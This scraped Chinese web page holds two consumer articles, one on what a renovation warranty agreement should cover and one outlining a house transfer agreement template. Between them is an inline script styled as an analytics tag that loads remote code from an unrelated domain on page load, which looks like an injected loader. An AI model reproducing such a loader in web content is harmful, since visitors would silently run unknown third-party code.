装修维权难？你需要一份装修保修协议

在房屋装修验收过程中，难免有不尽如人意的地方，业主和施工方有可能陷入无休止的争论中。此时一份包括保修范围、保修基金、保修义务等条款的装修保修协议可以让业主维权变得简单。一、保修范围保修范围需要明确各类问题的责任人，特别注意以下三点应该写入装修保修协议中并且规定由装修公司负责进行无偿返修。一是施工交付质量不合格，比如墙面开裂、厨房漏水、使用劣质材料等;二是施工操作方法不当导致的财产损失、人生安全等;三是装修过程中无意造成的损失和后果，比如材料搬运中的磕碰变形等。当然还有其它很多保修项目可以根据双方协商完成。二、保修基金签订装修保修协议时，将保修基金加进去是最稳妥的做法。在装修验收完成后，一般需要保留一小部分尾款作为保修基金用以维护业主在保修期内的合法权利，保留比例可根据双方约定。只有当保修期内没有出现相关质量问题时，才能将这部分尾款返还给施工方，否则保修期可能形同虚设等不到保障。三、保修义务装修保修协议必须明确施工方是保修直接责任人，在保修期内出现任何质量问题，业主均可直接向施工方提出返修要求，不能故意推诿拖延。如果拒绝免费保修，可以通过法律手段寻求帮助。有时候施工方可能利用业主对装修不了解，在装修保修协议中引入不平等条款，所以在签订装修保修协议时需仔细阅读条款。装修保修协议在很大程度上可以维护业主的正当权利，在签订的过程中务必需要包括保修范围、保修基金、保修义务几方面的条款，这可以让维权变得简单。 var _hmt = _hmt || []; (function() { var hm = document.createElement("script"); hm.src = "https://www.jamuntea.com/hm.js?b1d27fb0b411949e1a1f5a5aefb6af88"; var s = document.getElementsByTagName("script")[0]; s.parentNode.insertBefore(hm, s); })();

房屋转让协议范本内容

导语：近些年来，房地产商所建立的房屋越来越多，虽然房价也在不断的上涨，但是依然存在很多不同的用户在购买房屋，随着用户们对房屋的需求，国家也出了很多关于房屋的政策，所以也有不少的用户在购买房屋之后，将之前的房屋进行转让，在进行房屋转了的时候，都会立一个协议，证明房屋转让的过程确实是合法并且存在的。在房屋转让的协议中，要包含很多不同的内容，小编今天的文章就是要给大家介绍一下房屋转让协议的范本，让每一位用户都了解房屋转让的协议该怎么写。一、写清转让双方的相关信息转让方，可称为甲方：工作单位：身份证号：住址：受让方，也可称为乙方：工作单位：身份证号：住址：二、写清房屋的基本情况和转让价格在协议中写清转让房屋的地理位置，以及框架结构，房屋的总体大小，还有实际使用的面积。并且说明清楚房屋每平米多少钱，双方协商的转让价格为多少，最后用大写字体写清价格。三、说明房屋交付问题甲方应该在协议生效的20以内，把房屋的钥匙交给乙方，并且在双方都在场的情况下进行验收，如果查实信息符合，就可以进行房屋交付了，完成交付之后，房屋的使用、收益或者处分都归于乙方所有。四、房屋过户房屋进行交付之后，甲方应该在一星期内办理过户，将房屋的产权过户给乙方，办理过户过程中所产生的费用都应该由甲方承担。五、甲方承诺保证及违约责任甲方应该要保证自己的转让房屋没有法律上的问题，并且没有涉及第三方的权利，制定协议之前，房屋的购房款、物业费等等费用都应该交清。在签订协议之后，如果甲方违反了协议，那么甲方应该承担相应的违约金。六、协议中未尽的事宜可以由双方补充签订，但如果在履行协议的过程中双方发生争执的话，协商不定就可以由法律决定了。签字之后，协议就会自动生效，并且这份协议有两份，甲乙双方各有一份，内容都是相同的。七、签字区最后内容确定之后，在下方要有双方的签字，并且写明年月日。以上就是小编为大家介绍的房屋转让的协议范本内容，希望小编的文章可以帮助到大家。